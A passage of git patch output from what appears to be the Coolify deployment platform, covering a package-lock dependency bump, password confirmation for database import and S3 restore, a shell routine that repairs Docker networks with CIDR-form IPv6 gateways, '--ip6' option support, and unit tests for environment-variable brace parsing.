"sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", "cpu": [ "ia32" ], @@ -917,9 +917,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz", - "integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", "cpu": [ "x64" ], @@ -931,9 +931,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz", - "integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", "cpu": [ "x64" ], @@ -949,7 +949,8 @@ "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", "dev": true, - "license": "MIT" + "license": "MIT", + "peer": true }, "node_modules/@tailwindcss/forms": { "version": "0.5.10", @@ -1186,6 +1187,66 @@ "node": ">=14.0.0" } }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.7.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.1.0", + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.7.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1", + "@tybys/wasm-util": "^0.10.1" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": { + "version": "0.10.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": { + "version": "2.8.1", + "dev": true, + "inBundle": true, + "license": "0BSD", + "optional": true + }, "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { "version": "4.1.18", "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz", @@ -1402,8 +1463,7 @@ "version": "5.5.0", "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/asynckit": { "version": "0.4.0", @@ -1556,6 +1616,7 @@ "integrity": "sha512-+kjUJnZGwzewFDw951CDWcwj35vMNf2fcj7xQWOctq1F2i1jkDdVvdFG9kM/BEChymCH36KgjnW0NsL58JYRxw==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1", @@ -1570,6 +1631,7 @@ "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" } @@ -2330,7 +2392,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -2407,7 +2468,6 @@ "integrity": "sha512-wp3HqIIUc1GRyu1XrP6m2dgyE9MoCsXVsWNlohj0rjSkLf+a0jLvEyVubdg58oMk7bhjBWnFClgp8jfAa6Ak4Q==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "tweetnacl": "^1.0.3" } @@ -2445,9 +2505,9 @@ } }, "node_modules/rollup": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz", - "integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", "dev": true, "license": "MIT", "dependencies": { @@ -2461,31 +2521,31 @@ "npm": ">=8.0.0" }, "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.57.1", - "@rollup/rollup-android-arm64": "4.57.1", - "@rollup/rollup-darwin-arm64": "4.57.1", - "@rollup/rollup-darwin-x64": "4.57.1", - "@rollup/rollup-freebsd-arm64": "4.57.1", - "@rollup/rollup-freebsd-x64": "4.57.1", - "@rollup/rollup-linux-arm-gnueabihf": "4.57.1", - "@rollup/rollup-linux-arm-musleabihf": "4.57.1", - "@rollup/rollup-linux-arm64-gnu": "4.57.1", - "@rollup/rollup-linux-arm64-musl": "4.57.1", - "@rollup/rollup-linux-loong64-gnu": "4.57.1", - "@rollup/rollup-linux-loong64-musl": "4.57.1", - "@rollup/rollup-linux-ppc64-gnu": "4.57.1", - "@rollup/rollup-linux-ppc64-musl": "4.57.1", - "@rollup/rollup-linux-riscv64-gnu": "4.57.1", - "@rollup/rollup-linux-riscv64-musl": "4.57.1", - "@rollup/rollup-linux-s390x-gnu": "4.57.1", - "@rollup/rollup-linux-x64-gnu": "4.57.1", - "@rollup/rollup-linux-x64-musl": "4.57.1", - "@rollup/rollup-openbsd-x64": "4.57.1", - "@rollup/rollup-openharmony-arm64": "4.57.1", - "@rollup/rollup-win32-arm64-msvc": "4.57.1", - "@rollup/rollup-win32-ia32-msvc": "4.57.1", - "@rollup/rollup-win32-x64-gnu": "4.57.1", - "@rollup/rollup-win32-x64-msvc": "4.57.1", + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": "4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" } }, @@ -2512,6 +2572,7 @@ "integrity": "sha512-bPMmpy/5WWKHea5Y/jYAP6k74A+hvmRCQaJuJB6I/ML5JZq/KfNieUVo/3Mh7SAqn7TyFdIo6wqYHInG1MU1bQ==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1" @@ -2556,8 +2617,7 @@ "version": "4.1.18", "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.18.tgz", "integrity": "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/tapable": { "version": "2.3.0", @@ -2609,7 +2669,6 @@ "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", @@ -2709,7 +2768,6 @@ "integrity": "sha512-SJ/NTccVyAoNUJmkM9KUqPcYlY+u8OVL1X5EW9RIs3ch5H2uERxyyIUI4MRxVCSOiEcupX9xNGde1tL9ZKpimA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@vue/compiler-dom": "3.5.26", "@vue/compiler-sfc": "3.5.26", @@ -2732,6 +2790,7 @@ "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" }, @@ -2753,6 +2812,7 @@ "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", "dev": true, + "peer": true, "engines": { "node": ">=0.4.0" } From cc96403cbe50f3538ceeec88feaabe445ad5094f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Devrim=20Tun=C3=A7er?= Date: Sun, 1 Mar 2026 14:45:55 +0300 Subject: [PATCH 121/305] fix(database): close confirmation modal after import/restore The modal stayed open because runImport() and restoreFromS3() did not accept the password parameter, verify it, or return true on success. Added password verification and return values to both methods. Co-Authored-By: Claude Opus 4.6 --- app/Livewire/Project/Database/Import.php | 41 ++++++++++++++++-------- 1 file changed, 28 insertions(+), 13 deletions(-) diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php index 7d37bd473..4675ab8f9 100644 --- a/app/Livewire/Project/Database/Import.php +++ b/app/Livewire/Project/Database/Import.php @@ -401,20 +401,24 @@ public function checkFile() } } - public function runImport() + public function runImport(string $password = ''): bool|string { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + $this->authorize('update', $this->resource); if ($this->filename === '') { $this->dispatch('error', 'Please select a file to import.'); - return; + return true; } if (! $this->server) { $this->dispatch('error', 'Server not found. Please refresh the page.'); - return; + return true; } try { @@ -434,7 +438,7 @@ public function runImport() if (! $this->validateServerPath($this->customLocation)) { $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters.'); - return; + return true; } $tmpPath = '/tmp/restore_'.$this->resourceUuid; $escapedCustomLocation = escapeshellarg($this->customLocation); @@ -442,7 +446,7 @@ public function runImport() } else { $this->dispatch('error', 'The file does not exist or has been deleted.'); - return; + return true; } // Copy the restore command to a script file @@ -474,11 +478,15 @@ public function runImport() $this->dispatch('databaserestore'); } } catch (\Throwable $e) { - return handleError($e, $this); + handleError($e, $this); + + return true; } finally { $this->filename = null; $this->importCommands = []; } + + return true; } public function loadAvailableS3Storages() @@ -577,26 +585,30 @@ public function checkS3File() } } - public function restoreFromS3() + public function restoreFromS3(string $password = ''): bool|string { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + $this->authorize('update', $this->resource); if (! $this->s3StorageId || blank($this->s3Path)) { $this->dispatch('error', 'Please select S3 storage and provide a path first.'); - return; + return true; } if (is_null($this->s3FileSize)) { $this->dispatch('error', 'Please check the file first by clicking "Check File".'); - return; + return true; } if (! $this->server) { $this->dispatch('error', 'Server not found. Please refresh the page.'); - return; + return true; } try { @@ -613,7 +625,7 @@ public function restoreFromS3() if (! $this->validateBucketName($bucket)) { $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.'); - return; + return true; } // Clean the S3 path @@ -623,7 +635,7 @@ public function restoreFromS3() if (! $this->validateS3Path($cleanPath)) { $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); - return; + return true; } // Get helper image @@ -711,9 +723,12 @@ public function restoreFromS3() $this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...'); } catch (\Throwable $e) { $this->importRunning = false; + handleError($e, $this); - return handleError($e, $this); + return true; } + + return true; } public function buildRestoreCommand(string $tmpPath): string From 236745ede1c242b377648821c0b2ec5e785f227d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 1 Mar 2026 18:49:40 +0100 Subject: [PATCH 122/305] chore: prepare for PR --- bootstrap/helpers/docker.php | 1 + bootstrap/helpers/proxy.php | 56 ++++++++++++++++++---- tests/Feature/DockerCustomCommandsTest.php | 17 +++++++ 3 files changed, 66 insertions(+), 8 deletions(-) diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index 77e8b7b07..7b74392cf 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -1006,6 +1006,7 @@ function convertDockerRunToCompose(?string $custom_docker_run_options = null) '--ulimit' => 'ulimits', '--privileged' => 'privileged', '--ip' => 'ip', + '--ip6' => 'ip6', '--shm-size' => 'shm_size', '--gpus' => 'gpus', '--hostname' => 'hostname', diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index ac52c0af8..27637cc6f 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -127,10 +127,44 @@ function connectProxyToNetworks(Server $server) return $commands->flatten(); } +/** + * Generate shell commands to fix a Docker network that has an IPv6 gateway with CIDR notation. + * + * Docker 25+ may store IPv6 gateways with CIDR (e.g. fd7d:f7d2:7e77::1/64), which causes + * ParseAddr errors in Docker Compose. This detects the issue and recreates the network. + * + * @see https://github.com/coollabsio/coolify/issues/8649 + * + * @param string $network Network name to check and fix + * @return array Shell commands to execute on the remote server + */ +function fixNetworkIpv6CidrGateway(string $network): array +{ + return [ + "if docker network inspect {$network} >/dev/null 2>&1; then", + " IPV6_GW=\$(docker network inspect {$network} --format '{{range .IPAM.Config}}{{.Gateway}} {{end}}' 2>/dev/null | tr ' ' '\n' | grep '/' || true)", + ' if [ -n "$IPV6_GW" ]; then', + " echo \"Fixing network {$network}: IPv6 gateway has CIDR notation (\$IPV6_GW)\"", + " CONTAINERS=\$(docker network inspect {$network} --format '{{range .Containers}}{{.Name}} {{end}}' 2>/dev/null)", + ' for c in $CONTAINERS; do', + " [ -n \"\$c\" ] && docker network disconnect {$network} \"\$c\" 2>/dev/null || true", + ' done', + " docker network rm {$network} 2>/dev/null || true", + " docker network create --attachable {$network} 2>/dev/null || true", + ' for c in $CONTAINERS; do', + " [ -n \"\$c\" ] && [ \"\$c\" != \"coolify-proxy\" ] && docker network connect {$network} \"\$c\" 2>/dev/null || true", + ' done', + ' fi', + 'fi', + ]; +} + /** * Ensures all required networks exist before docker compose up. * This must be called BEFORE docker compose up since the compose file declares networks as external. * + * Also detects and fixes networks with IPv6 CIDR gateway notation that causes ParseAddr errors. + * * @param Server $server The server to ensure networks on * @return \Illuminate\Support\Collection Commands to create networks if they don't exist */ @@ -140,17 +174,23 @@ function ensureProxyNetworksExist(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { - return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", - ]; + return array_merge( + fixNetworkIpv6CidrGateway($network), + [ + "echo 'Ensuring network $network exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", + ] + ); }); } else { $commands = $networks->map(function ($network) { - return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", - ]; + return array_merge( + fixNetworkIpv6CidrGateway($network), + [ + "echo 'Ensuring network $network exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", + ] + ); }); } diff --git a/tests/Feature/DockerCustomCommandsTest.php b/tests/Feature/DockerCustomCommandsTest.php index 5d9dcd174..74bff2043 100644 --- a/tests/Feature/DockerCustomCommandsTest.php +++ b/tests/Feature/DockerCustomCommandsTest.php @@ -198,3 +198,20 @@ 'entrypoint' => 'python -c "print(\"hi\")"', ]); }); + +test('ConvertIp6', function () { + $input = '--ip6 2001:db8::1'; + $output = convertDockerRunToCompose($input); + expect($output)->toBe([ + 'ip6' => ['2001:db8::1'], + ]); +}); + +test('ConvertIpAndIp6Together', function () { + $input = '--ip 172.20.0.5 --ip6 2001:db8::1'; + $output = convertDockerRunToCompose($input); + expect($output)->toBe([ + 'ip' => ['172.20.0.5'], + 'ip6' => ['2001:db8::1'], + ]); +}); From ed9b9da249674c507b1f05810bd9669723214307 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Felix=20M=C3=B6nckemeyer?= Date: Mon, 2 Mar 2026 12:00:19 +0100 Subject: [PATCH 123/305] fix: join link should be set correctly in the env variables --- templates/compose/ente-photos.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/ente-photos.yaml b/templates/compose/ente-photos.yaml index effeeeb4a..b684c5380 100644 --- a/templates/compose/ente-photos.yaml +++ b/templates/compose/ente-photos.yaml @@ -16,6 +16,7 @@ services: - ENTE_APPS_PUBLIC_ALBUMS=${SERVICE_URL_WEB_3002} - ENTE_APPS_CAST=${SERVICE_URL_WEB_3004} - ENTE_APPS_ACCOUNTS=${SERVICE_URL_WEB_3001} + - ENTE_PHOTOS_ORIGIN=${SERVICE_URL_WEB} - ENTE_DB_HOST=${ENTE_DB_HOST:-postgres} - ENTE_DB_PORT=${ENTE_DB_PORT:-5432} From 059164224ca92c751f016b73c56b3d5d6e047b11 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 2 Mar 2026 12:24:40 +0100 Subject: [PATCH 124/305] fix(bootstrap): add bounds check to extractBalancedBraceContent Return null when startPos exceeds string length to prevent out-of-bounds access. Add comprehensive test coverage for environment variable parsing edge cases. --- bootstrap/helpers/services.php | 3 + ...nvironmentVariableParsingEdgeCasesTest.php | 351 ++++++++++++++++++ 2 files changed, 354 insertions(+) create mode 100644 tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index 64ec282f5..bd741b76e 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -28,6 +28,9 @@ function collectRegex(string $name) function extractBalancedBraceContent(string $str, int $startPos = 0): ?array { // Find opening brace + if ($startPos >= strlen($str)) { + return null; + } $openPos = strpos($str, '{', $startPos); if ($openPos === false) { return null; diff --git a/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php new file mode 100644 index 000000000..a52d7dba5 --- /dev/null +++ b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php @@ -0,0 +1,351 @@ +toBe(''); +}); + +test('splitOnOperatorOutsideNested handles empty variable name with default', function () { + $split = splitOnOperatorOutsideNested(':-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent handles double opening brace', function () { + $result = extractBalancedBraceContent('${{VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('{VAR}'); +}); + +test('extractBalancedBraceContent returns null for empty string', function () { + $result = extractBalancedBraceContent('', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just dollar sign', function () { + $result = extractBalancedBraceContent('$', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just opening brace', function () { + $result = extractBalancedBraceContent('{', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just closing brace', function () { + $result = extractBalancedBraceContent('}', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles extra closing brace', function () { + $result = extractBalancedBraceContent('${VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +test('extractBalancedBraceContent returns null for unclosed with no content', function () { + $result = extractBalancedBraceContent('${', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for deeply unclosed nested braces', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}', 0); + + assertNull($result); +}); + +test('replaceVariables handles empty braces gracefully', function () { + $result = replaceVariables('${}'); + + expect($result->value())->toBe(''); +}); + +test('replaceVariables handles double braces gracefully', function () { + $result = replaceVariables('${{VAR}}'); + + expect($result->value())->toBe('{VAR}'); +}); + +// ─── Edge Cases with Braces and Special Characters ───────────────────────────── + +test('extractBalancedBraceContent finds consecutive variables', function () { + $str = '${A}${B}'; + + $first = extractBalancedBraceContent($str, 0); + assertNotNull($first); + expect($first['content'])->toBe('A'); + + $second = extractBalancedBraceContent($str, $first['end'] + 1); + assertNotNull($second); + expect($second['content'])->toBe('B'); +}); + +test('splitOnOperatorOutsideNested handles URL with port in default', function () { + $split = splitOnOperatorOutsideNested('URL:-http://host:8080/path'); + + assertNotNull($split); + expect($split['variable'])->toBe('URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('http://host:8080/path'); +}); + +test('splitOnOperatorOutsideNested handles equals sign in default', function () { + $split = splitOnOperatorOutsideNested('VAR:-key=value&foo=bar'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('key=value&foo=bar'); +}); + +test('splitOnOperatorOutsideNested handles dashes in default value', function () { + $split = splitOnOperatorOutsideNested('A:-value-with-dashes'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('value-with-dashes'); +}); + +test('splitOnOperatorOutsideNested handles question mark in default value', function () { + $split = splitOnOperatorOutsideNested('A:-what?'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('what?'); +}); + +test('extractBalancedBraceContent handles variable with digits', function () { + $result = extractBalancedBraceContent('${VAR123}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR123'); +}); + +test('extractBalancedBraceContent handles long variable name', function () { + $longName = str_repeat('A', 200); + $result = extractBalancedBraceContent('${'.$longName.'}', 0); + + assertNotNull($result); + expect($result['content'])->toBe($longName); +}); + +test('splitOnOperatorOutsideNested returns null for empty string', function () { + $split = splitOnOperatorOutsideNested(''); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested handles variable name with underscores', function () { + $split = splitOnOperatorOutsideNested('_MY_VAR_:-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('_MY_VAR_') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent with startPos beyond string length', function () { + $result = extractBalancedBraceContent('${VAR}', 100); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles brace in middle of text', function () { + $result = extractBalancedBraceContent('prefix ${VAR} suffix', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +// ─── Deeply Nested Defaults ──────────────────────────────────────────────────── + +test('extractBalancedBraceContent handles four levels of nesting', function () { + $input = '${A:-${B:-${C:-${D}}}}'; + + $result = extractBalancedBraceContent($input, 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C:-${D}}}'); +}); + +test('splitOnOperatorOutsideNested handles four levels of nesting', function () { + $content = 'A:-${B:-${C:-${D}}}'; + $split = splitOnOperatorOutsideNested($content); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-${C:-${D}}}'); + + // Verify second level + $nested = extractBalancedBraceContent($split['default'], 0); + assertNotNull($nested); + $split2 = splitOnOperatorOutsideNested($nested['content']); + assertNotNull($split2); + expect($split2['variable'])->toBe('B') + ->and($split2['default'])->toBe('${C:-${D}}'); +}); + +test('multiple variables at same depth in default', function () { + $input = '${A:-${B}/${C}/${D}}'; + + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['default'])->toBe('${B}/${C}/${D}'); + + // Verify all three nested variables can be found + $default = $split['default']; + $vars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $vars[] = $nested['content']; + $pos = $nested['end'] + 1; + } + + expect($vars)->toBe(['B', 'C', 'D']); +}); + +test('nested with mixed operators', function () { + $input = '${A:-${B:?required}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:?required}'); + + // Inner variable uses :? operator + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + expect($innerSplit['variable'])->toBe('B') + ->and($innerSplit['operator'])->toBe(':?') + ->and($innerSplit['default'])->toBe('required'); +}); + +test('nested variable without default as default', function () { + $input = '${A:-${B}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${B}'); + + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + assertNull($innerSplit); + expect($nested['content'])->toBe('B'); +}); + +// ─── Backwards Compatibility ─────────────────────────────────────────────────── + +test('replaceVariables with brace format without dollar sign', function () { + $result = replaceVariables('{MY_VAR}'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with truncated brace format', function () { + $result = replaceVariables('{MY_VAR'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with plain string returns unchanged', function () { + $result = replaceVariables('plain_value'); + + expect($result->value())->toBe('plain_value'); +}); + +test('replaceVariables preserves full content for variable with default', function () { + $result = replaceVariables('${DB_HOST:-localhost}'); + + expect($result->value())->toBe('DB_HOST:-localhost'); +}); + +test('replaceVariables preserves nested content for variable with nested default', function () { + $result = replaceVariables('${DB_URL:-${SERVICE_URL_PG}/db}'); + + expect($result->value())->toBe('DB_URL:-${SERVICE_URL_PG}/db'); +}); + +test('replaceVariables with brace format containing default falls back gracefully', function () { + $result = replaceVariables('{VAR:-default}'); + + expect($result->value())->toBe('VAR:-default'); +}); + +test('splitOnOperatorOutsideNested colon-dash takes precedence over bare dash', function () { + $split = splitOnOperatorOutsideNested('VAR:-val-ue'); + + assertNotNull($split); + expect($split['operator'])->toBe(':-') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('val-ue'); +}); + +test('splitOnOperatorOutsideNested colon-question takes precedence over bare question', function () { + $split = splitOnOperatorOutsideNested('VAR:?error?'); + + assertNotNull($split); + expect($split['operator'])->toBe(':?') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('error?'); +}); + +test('full round trip: extract, split, and resolve nested variables', function () { + $input = '${APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health}'; + + // Step 1: Extract outer content + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + expect($result['content'])->toBe('APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); 